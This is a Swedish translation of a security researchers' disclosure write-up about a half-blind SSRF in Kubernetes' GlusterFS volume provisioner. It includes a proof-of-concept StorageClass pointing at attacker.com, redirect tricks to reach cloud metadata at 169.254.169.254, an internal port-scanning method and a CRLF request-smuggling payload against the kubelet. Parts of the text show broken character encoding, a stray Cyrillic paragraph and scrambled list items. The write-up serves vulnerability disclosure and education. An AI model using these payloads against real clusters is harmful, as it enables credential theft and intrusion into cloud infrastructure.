Obs. övers.: författarna till denna artikel beskriver i detalj hur de lyckades upptĂ€cka en sĂ„rbarhet i Kubernetes. Ăven om den frĂ„n början verkade vara inte sĂ„ farlig, visade den sig vara kritisk i kombination med andra faktorer för vissa molnleverantörer. De specialister som genomförde arbetet belönades generöst av flera organisationer.

Vem Àr vi
Vi Àr tvÄ franska sÀkerhetsforskare som gemensamt har upptÀckt en sÄrbarhet i Kubernetes. Vi heter Brice Augras och Christophe Hauquiert, men pÄ mÄnga Bug Bounty-plattformar Àr vi kÀnda som Reeverzax respektive Hach:
- â ;
- â Kubernetes-arkitekt pĂ„ Nokia.
Vad hÀnde?
Denna artikel Àr vÄrt sÀtt att berÀtta hur ett vanligt forskningsprojekt ovÀntat förvandlades till det mest spÀnnande Àventyret i livet för bugghunters (Ätminstone hittills).
Som ni kanske vet, har bugghunters ett par anmÀrkningsvÀrda egenskaper:
- de lever pÄ pizza och öl;
- de arbetar nÀr alla andra sover.
Vi Àr inget undantag frÄn dessa regler: vi trÀffas vanligtvis pÄ helger och har sömnlösa hackernÀtter. Men en av dessa nÀtter slutade pÄ ett ganska ovanligt sÀtt.
Ursprungligen planerade vi att trÀffas för att diskutera deltagande i nÀsta dag. Under diskussionen om sÀkerheten i Kubernetes i en hanterad tjÀnstemiljö kom vi ihÄg en gammal idé om SSRF () och beslöt att försöka anvÀnda den som en attackvektor.
Klockan 11 satte vi oss ner för att forska, och gick till sÀngs tidigt pÄ morgonen, ganska nöjda med resultaten. Just pÄ grund av dessa forskning upptÀckte vi MSRC Bug Bounty-programmet och kom pÄ en exploatering för privilegieförhöjning.
Flera veckor/mĂ„nader gick, och vĂ„rt ovĂ€ntade resultat ledde till en av de högsta belöningarna i historien för Azure Cloud Bug Bounty â utöver den vi fick frĂ„n Kubernetes!
Som ett resultat av vÄrt forskningsprojekt publicerade Kubernetes Product Security Committee .
Nu skulle vi vilja sprida informationen om den upptÀckta sÄrbarheten sÄ mycket som möjligt. Vi hoppas att ni uppskattar upptÀckten och delar tekniska detaljer med andra medlemmar i infosec-gemenskapen!
SĂ„ hĂ€r Ă€r vĂ„r historiaâŠ
Kontext
För att fullt ut förklara vad som har hÀnt, lÄt oss först titta pÄ hur Kubernetes fungerar i en molnbaserad hanterad miljö.
NÀr du skapar ett cluster av Kubernetes i en sÄdan miljö ansvarar vanligtvis molnleverantören för driften av kontrollskiktet:

Kontrollskiktet ligger i molnleverantörens perimeter, medan Kubernetes-noderna finns i kundens perimeter.
För dynamisk tilldelning av volymer anvÀnds en mekanism för dynamisk provisionering frÄn en extern storage-backend och koppling till PVC (persistent volume claim, d.v.s. begÀran om volym).
SÄ snart PVC har skapats och kopplats till en StorageClass i K8s-klustret tar kube/cloud controller manager över ytterligare ÄtgÀrder för att tillhandahÄlla volymen (det exakta namnet beror pÄ versionen). (Obs. övers.: Vi har redan skrivit om CCM med exempel pÄ dess implementation för en av molnleverantörerna. .)
Det finns flera typer av provisioners som stöds av Kubernetes: de flesta av dessa Àr inkluderade i och andra hanteras av extra provisioners som finns i pods i klustret.
I vÄr forskning fokuserade vi pÄ den interna mekanismen för volymprovisionering, som illustreras nedan:

Dynamisk provisionering av volymer med hjÀlp av den inbyggda provisionern i Kubernetes.
Sammanfattningsvis, nÀr Kubernetes Àr implementerat i en hanterad miljö ansvarar molnleverantören för controller manager, men begÀran om att skapa en volym (nummer 3 i diagrammet ovan) lÀmnar den interna nÀtverksgrÀnsen för molnleverantören. Och hÀr blir situationen verkligen intressant!
SÀkerhetsöversikt
I detta avsnitt kommer vi att beskriva hur vi utnyttjade den nĂ€mnda arbetsflödet för att fĂ„ tillgĂ„ng till molnleverantörens interna resurser. Dessutom kommer vi att visa hur vissa Ă„tgĂ€rder kan genomföras â till exempel att fĂ„ interna autentiseringsuppgifter eller att genomföra en privilegierad höjning.
En enkel manipulation (i det hÀr fallet en Service Side Request Forgery) hjÀlpte till att gÄ utanför kundens miljö i kluster av olika tjÀnsteleverantörer som hanterar K8s.
I vÄra undersökningar fokuserade vi pÄ provisionern GlusterFS. Trots att den efterföljande handlingssekvensen beskrivs i detta sammanhang, Àr samma sÄrbarhet Àven nÀrvarande i Quobyte, StorageOS och ScaleIO.

Missbruk av mekanismen för dynamisk tilldelning av volymer
Under analysen av lagringsklassen GlusterFS i kÀllkoden för klienten i Golang noterade vi till slutet av anvÀndarens URL i parametern resturl detta ytterligare sökvÀg /volumes.
bestĂ€mde vi oss för att bli av med genom att lĂ€gga till # i parametern resturl. HĂ€r Ă€r den första YAML-konfigurationen som vi anvĂ€nde för att kontrollera för en "semi-blind" SSRF-sĂ„rbarhet (mer information om semi-blind eller half-blind SSRF kan lĂ€sa, till exempel, â anm. red.):
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: poc-ssrf
spec:
accessModes:
- ReadWriteOnce
volumeMode: Filesystem
resources:
requests:
storage: 8Gi
storageClassName: poc-ssrfSedan anvÀnde vi en körbar fil för att fjÀrrstyra Kubernetes-klustret kubectl. Vanligtvis tillÄter molnleverantörer (Azure, Google, AWS osv.) att fÄ autentiseringsuppgifter för att anvÀnda dem i detta verktyg.
Tack vare detta lyckades vi ocksÄ anvÀnda vÄr "speciella" fil. Kube-controller-manager utförde den resulterande HTTP-förfrÄgan:
kubectl create -f sc-poc.yaml 
Svaret frÄn angriparens perspektiv
Kort dĂ€refter lyckades vi ocksĂ„ fĂ„ HTTP-svaret frĂ„n den mĂ„lsatta servern â via kommandona describe pvc eller get events i kubectl. Och faktiskt: denna Kubernetes-drivrutin Ă€r som standard för voluminös i sina varningar/felmeddelandenâŠ
HÀr Àr ett exempel med referens till https://www.google.fr, instÀllt som parameter resturl:
kubectl describe pvc poc-ssrf
# eller sĂ„ kan du anvĂ€nda kubectl get events 
Inom detta tillvÀgagÄngssÀtt var vi begrÀnsade till förfrÄgningar av typen HTTP POST och kunde inte fÄ innehÄllet i svarskroppen om returkoden var 201. DÀrför beslutade vi att genomföra ytterligare forskning och utvidgade detta hackningsscenario med nya angreppssÀtt.
Utvecklingen av vÄra forskningar
- Avancerat scenario #1: anvÀndning av 302-omdirigering frÄn en extern server för att Àndra HTTP-metoden för att fÄ ett mer flexibelt sÀtt att samla in interna data.
- Avancerat scenario #2: automatisering av LAN-skanning och upptÀckte interna resurser.
- Avancerat scenario nr 3: anvÀndning av HTTP CRLF + smuggling av förfrÄgningar för att skapa anpassade HTTP-förfrÄgningar och hÀmta data frÄn kube-controller-loggar.
Tekniska specifikationer
- I studierna anvÀndes Azure Kubernetes Service (AKS) med Kubernetes version 1.12 i regionen Norra Europa.
- De ovan beskrivna scenarierna utfördes pÄ de senaste versionerna av Kubernetes, förutom det tredje scenariot, som krÀvde Kubernetes sammanstÀllt med Golang version †1.12.
- Angriparens externa server â
https://attacker.com.
Avancerat scenario nr 1: omdirigera HTTP POST-förfrÄgan till GET och hÀmta konfidentiella data
Den ursprungliga metoden förbÀttrades av angriparens serverkonfiguration för att ÄterlÀmna 302 HTTP Retcode, för att konvertera POST-förfrÄgan till GET-förfrÄgan (steg 4 i schemat):

Den första förfrÄgan (3) som skickas av klienten GlusterFS (Controller Manager) Àr av typen POST. Genom att genomföra följande steg lyckades vi omvandla den till GET:
- Som parameter
resturlanges i StorageClasshttp://attacker.com/redirect.php. - Endpoint svarar med HTTP-statuskod 302 med följande Location-header:
https://attacker.com/redirect.php. Det kan vara vilken annan intern resurs som helst - i detta fall anvÀnds redirect-lÀnken enbart som ett exempel.http://169.254.169.254biblioteket net/http - Som standard i Golang omdirigerar förfrÄgan och konverterar POST till GET med 302-statuskod, vilket resulterar i att en HTTP GET-förfrÄgan skickas till den angivna resursen. För att lÀsa kroppen av HTTP-svaret mÄste man göra
describe objektet PVC: kubectl describe pvc xxx
HÀr Àr ett exempel pÄ ett HTTP-svar i JSON-format som vi lyckades fÄ:Möjligheterna hos den funna sÄrbarheten var vid den tidpunkten begrÀnsade pÄ grund av följande faktorer:

OförmÄga att infoga HTTP-header i den utgÄende förfrÄgan.
- OförmÄga att utföra POST-förfrÄgan med parametrar i kroppen (det Àr sÄ praktiskt att begÀra nyckelvÀrdet frÄn en etcd-instans som körs pÄ
- porten, om okrypterad HTTP anvÀnds). 2379 OförmÄga att fÄ innehÄllet i svarskroppen nÀr statuskoden var 200 och svaret inte hade JSON Content-Type.
- Avancerat scenario nr 2: skanning av det lokala nÀtverket
Denna metod för half-blind SSRF anvÀndes dÀrefter för att skanna den interna nÀtverket hos molnleverantören och undersöka olika lyssnande tjÀnster (Metadata-exemplaret, Kubelet, etcd osv.) baserat pÄ svaren
frÄn kube-controller. Först identifierades de standardiserade lyssnande portarna för Kubernetes-komponenter (8443, 10250, 10251 osv.), och sedan var det nödvÀndigt att automatisera skanningsprocessen..

ХпДŃĐČа бŃлО ĐŸĐżŃĐ”ĐŽĐ”Đ»Đ”ĐœŃ ŃŃĐ°ĐœĐŽĐ°ŃŃĐœŃĐ” ŃĐ»ŃŃаŃŃОД ĐżĐŸŃŃŃ ĐșĐŸĐŒĐżĐŸĐœĐ”ĐœŃĐŸĐČ Kubernetes (8443, 10250, 10251 Đž Ń.ĐŽ.), а заŃĐ”ĐŒ ĐżŃĐžŃĐ»ĐŸŃŃ Đ°ĐČŃĐŸĐŒĐ°ŃОзОŃĐŸĐČаŃŃ ĐżŃĐŸŃĐ”ŃŃ ŃĐșĐ°ĐœĐžŃĐŸĐČĐ°ĐœĐžŃ.
Med tanke pÄ att denna skanningsmetod Àr mycket specifik och inte kompatibel med klassiska skannrar och SSRF-verktyg, beslutade vi att skapa egna workers i ett bash-skript som automatiserar hela processen.
Till exempel, för att snabbare skanna intervallet 172.16.0.0/12 i det interna nÀtverket, startades 15 workers parallellt. Det angivna IP-intervallet valdes enbart som ett exempel och kan Àndras till det specifika IP-intervallet frÄn tjÀnsteleverantören.
För att skanna en enda IP-adress och en port mÄste du göra följande:
- ta bort det verifierade StorageClass frÄn föregÄende gÄng;
- ta bort den tidigare verifierade Persistent Volume Claim;
- Àndra vÀrdena för IP och Port i
sc.yaml; - skapa ett StorageClass med det nya IP:t och porten;
- skapa en ny PVC;
- extrahera skanningsresultaten med hjÀlp av describe för PVC.
Avancerat scenario nr 3: CRLF-injektion + smuggling av HTTP i "gamla" versioner av Kubernetes-klustret
Om leverantören dessutom erbjöd kunderna Àldre versioner av K8s-klustret och och gav dem tillgÄng till loggarna för kube-controller-manager, blev effekten Ànnu större.
Det Àr mycket mer bekvÀmt för en angripare att Àndra HTTP-förfrÄgningar enligt eget önskemÄl för att fÄ det kompletta HTTP-svaret.

För att genomföra det sista scenariot mÄste följande villkor uppfyllas:
- AnvÀndaren mÄste ha tillgÄng till loggarna för kube-controller-manager (som till exempel i Azure LogInsights).
- Kubernetes-klustret mÄste anvÀnda en version av Golang som Àr Àldre Àn 1.12.
Vi satte upp en lokal miljö som imiterade datakommunikationen mellan Go-klienten GlusterFS och en falsk mÄltjÀnst (vi avstÄr frÄn att publicera PoC för tillfÀllet).
En sÄrbarhet har upptÀckts , som pÄverkar versioner av Golang som Àr Àldre Àn 1.12 och möjliggör HTTP smuggling/CRLF-attacker för hackare.
Genom att kombinera ovanstÄende half-blind SSRF tillsammans med denna, kunde vi skicka förfrÄgningar enligt vÄr egen vilja, inklusive att byta ut huvuden, HTTP-metod, parametrar och data som kube-controller-manager sedan bearbetade.
HÀr Àr ett exempel pÄ en fungerande "fÀlla" i parametern resturl StorageClass, som implementerar ett sÄdant angreppsscenario:
http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrnResultatet blir ett fel unsolicited response, ett meddelande om vilket registreras i kontrollerloggarna. Tack vare den förvalda
![]()
det var vÄrt mest framgÄngsrika
Genom att anvÀnda detta tillvÀgagÄngssÀtt kunde vi genomföra nÄgra av följande attacker i kluster frÄn olika leverantörer av managed k8s: privilegiehöjning med Ätkomst till metadata-instansers autentiseringsuppgifter, DoS mot mÀstaren via (okrypterade) HTTP-förfrÄgningar till master-exemplaren etcd, och mer.
Konsekvenser
I det officiella uttalandet frÄn Kubernetes angÄende den SSRF-sÄrbarhet vi upptÀckte tilldelades den en bedömning CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Om vi endast betraktar sÄrbarheten kopplad till Kubernetes-grÀnsen, kvalificeras integritetens vektor (integrity vector) i den som None.
Men bedömningen av möjliga konsekvenser i kontexten av en hanterad tjÀnstemiljö (och det var den mest intressanta delen av vÄr forskning!) fick oss att omklassificera sÄrbarheten till bedömningen Kritisk CVSS10/10 för mÄnga distributörer.
Nedan följer ytterligare information som kan hjÀlpa till att förstÄ vad vi grundade vÄr bedömning av möjliga konsekvenser i molnmiljöer pÄ:
Integritet
- FjÀrrkörning av kommandon med hjÀlp av de interna autentiseringsuppgifterna som erhÄllits.
- à terupprepning av ovanstÄende scenario genom IDOR-metoden (Insecure Direct Object Reference, det vill sÀga osÀkra direkta hÀnvisningar till objekt) med andra resurser som hittats i det lokala nÀtverket.
Sekretess
- Attacktyp genom stöld av molnautentiseringsuppgifter (t.ex. metadata API).
- Informationsinsamling genom scanning av det lokala nĂ€tverket (bestĂ€mning av SSH-version, HTTP-serverns version, âŠ).
- Informationsinsamling om instanser och infrastruktur genom förfrÄgningar till interna API:er, sÄsom metadata API (
http://169.254.169.254, âŠ). - Stöld av kunddata med hjĂ€lp av molnautentiseringsuppgifter.
TillgÀnglighet
Alla exploateringsanvÀndningsscenarier relaterade till attackvektorer för integritet (integrity), kan anvÀndas för destruktiva handlingar och leda till att master-instanser frÄn kundens perimeter (eller nÄgon annan) blir otillgÀngliga.
Eftersom vi befann oss i en hanterad K8s-miljö och bedömde pÄverkan pÄ integriteten, kan vi förestÀlla oss en mÀngd scenarier som kan pÄverka tillgÀngligheten. Som ytterligare exempel kan vi nÀmna korruption av etcd-databasen eller att göra ett kritiskt anrop till Kubernetes API.
Tidslinje
- 6 december 2019: meddelande om upptÀckta sÄrbarheter skickas till MSRC Bug Bounty.
- 3 januari 2020: en tredje part informerade Kubernetes-utvecklarna att vi arbetade med ett sÀkerhetsproblem. De bad oss att betrakta SSRF som en in-core sÄrbarhet. Efter det presenterade vi en sammanfattande rapport med tekniska detaljer om kÀllan till problemet.
- 15 januari 2020: vi gav Kubernetes-utvecklarna tekniska och allmÀnna rapporter pÄ deras begÀran (via HackerOne-plattformen).
- 15 januari 2020: Kubernetes-utvecklarna informerade oss om att half-blind SSRF + CRLF-injektion för tidigare versioner betraktas som en in-core sÄrbarhet. Vi slutade omedelbart analysera andra tjÀnsteleverantörers perimetrar; huvudorsaken togs nu hand om av K8s-teamet.
- 15 januari 2020: belöning mottagen frÄn MSRC via HackerOne.
- 16 januari 2020: Kubernetes PSC (Product Security Committee) erkÀnde sÄrbarheten och bad att hÄlla den hemlig till mitten av mars pÄ grund av det stora antalet potentiella offer.
- 11 februari 2020: belöning mottagen frÄn Google VRP.
- 4 mars 2020: belöning mottagen frÄn Kubernetes via HackerOne.
- 15 mars 2020: det ursprungligen planerade offentliga avslöjandet sköts upp pÄ grund av COVID-19-situationen.
- 1 juni 2020: gemensamt uttalande frÄn Kubernetes + Microsoft om sÄrbarheten.
TL;DR
- Vi dricker öl och Ă€ter pizza đ
- Vi upptÀckte en in-core sÄrbarhet i Kubernetes, trots att vi inte alls hade tÀnkt göra det.
- Vi gjorde en ytterligare analys i kluster av olika molnleverantörer och kunde öka skadan orsakad av sÄrbarheten för att fÄ fler fantastiska bonusar.
- I denna artikel hittar du mÄnga tekniska detaljer. Vi diskuterar gÀrna dessa med dig (Twitter: & ).
- Det visade sig att alla formella processer och rapportskrivande tog mycket mer tid Àn förvÀntat.
LĂ€nkar
- ;
- ;
- ;
- .
P.S. frÄn översÀttaren
LÀs Àven i vÄr blogg:
- «»;
- «»;
- «».
KĂ€lla: habr.com
